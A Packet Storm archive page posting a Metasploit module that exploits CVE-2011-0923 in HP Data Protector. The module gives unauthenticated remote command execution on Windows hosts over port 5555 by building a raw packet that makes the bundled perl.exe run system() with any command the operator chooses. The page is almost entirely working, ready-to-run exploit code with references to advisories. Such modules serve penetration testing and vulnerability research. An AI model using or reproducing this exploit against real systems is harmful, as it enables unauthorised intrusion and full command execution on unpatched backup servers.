what you don't know can hurt you

HP Data Protector Arbitrary Remote Command Execution

HP Data Protector Arbitrary Remote Command Execution
Posted Aug 7, 2013
Authored by Alessandro Di Pinto, Claudio Moletta | Site metasploit.com

This Metasploit module allows execution of a command with an arbitrary number of arguments on Microsoft Windows operating systems. The trick calls a perl.exe interpreter installed with HP Data Protector inside the directory {install_path}/bin/. The main goal of the script is to bypass the limitation of execute only a single command without parameters, as provided by already existing exploits. It is possible to exploit the security issue in order to run any command inside the target system.

tags | exploit, arbitrary, perl
systems | windows
advisories | CVE-2011-0923, OSVDB-72526
MD5 | 0930bb4ab77459873c9f363e210b5225

HP Data Protector Arbitrary Remote Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector Arbitrary Remote Command Execution',
'Description' => %q{
This script allows to execute a command with an arbitrary number
of arguments on Microsoft Windows operating systems. The trick
calls a perl.exe interpreter installed with HP Data Protector
inside the directory {install_path}/bin/.

The main goal of the script is to bypass the limitation of execute
only a single command without parameters, as provided by already existing
exploits. It is possible to exploit the security issue in order to run
any command inside the target system.
},

'License' => MSF_LICENSE,
'Author' =>
[
'Alessandro Di Pinto <alessandro.dipinto () artificialstudios org>',
'Claudio Moletta <mclaudio () gmail com>',
],
'References' =>
[
[ 'CVE', '2011-0923'],
[ 'OSVDB', '72526'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'],
[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143'],
],
))

register_options(
[
Opt::RPORT(5555),
OptString.new('CMD', [ true, 'The OS command to execute', 'ipconfig /all'])
], self.class)
end

def run
begin
command = datastore['CMD']
command = command.gsub("\\","\\\\\\")
offset = 45
size_command = (offset + command.length).chr

crafted_pkt = "\x00\x00\x00"
crafted_pkt << size_command
crafted_pkt << "\x32\x00\x01"
crafted_pkt << "\x01\x01\x01"
crafted_pkt << "\x01\x01\x00"
crafted_pkt << "\x01\x00\x01"
crafted_pkt << "\x00\x01\x00"
crafted_pkt << "\x01\x01\x00"
crafted_pkt << "\x2028\x00"
crafted_pkt << "\\perl.exe"
crafted_pkt << "\x00 -esystem('#{command}')\x00"

print_status "Connecting to target '#{rhost}:#{rport}'"
connect
print_good "Connected"
if (datastore['CMD'])
print_status "Sending payload '#{command}'\n"
sock.put(crafted_pkt)
# Clean and parse results
while true
response_size = sock.recv(4)
response_size = response_size.unpack('N')[0]
break if response_size.nil?
response = sock.recv(response_size)[5..-1]
response = response.delete("\x00")
# Check for the end-of-message
break if response.include?("RETVAL")
print response if not response.empty?
end
end
disconnect

rescue ::Rex::ConnectionRefused
print_error "Connection refused '#{rhost}:#{rport}'"
rescue ::Rex::ConnectionError
print_error "Connection error '#{rhost}:#{rport}'"
end
end

end
Login or Register to add favorites

File Archive:

December 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    22 Files
  • 2
    Dec 2nd
    33 Files
  • 3
    Dec 3rd
    16 Files
  • 4
    Dec 4th
    22 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close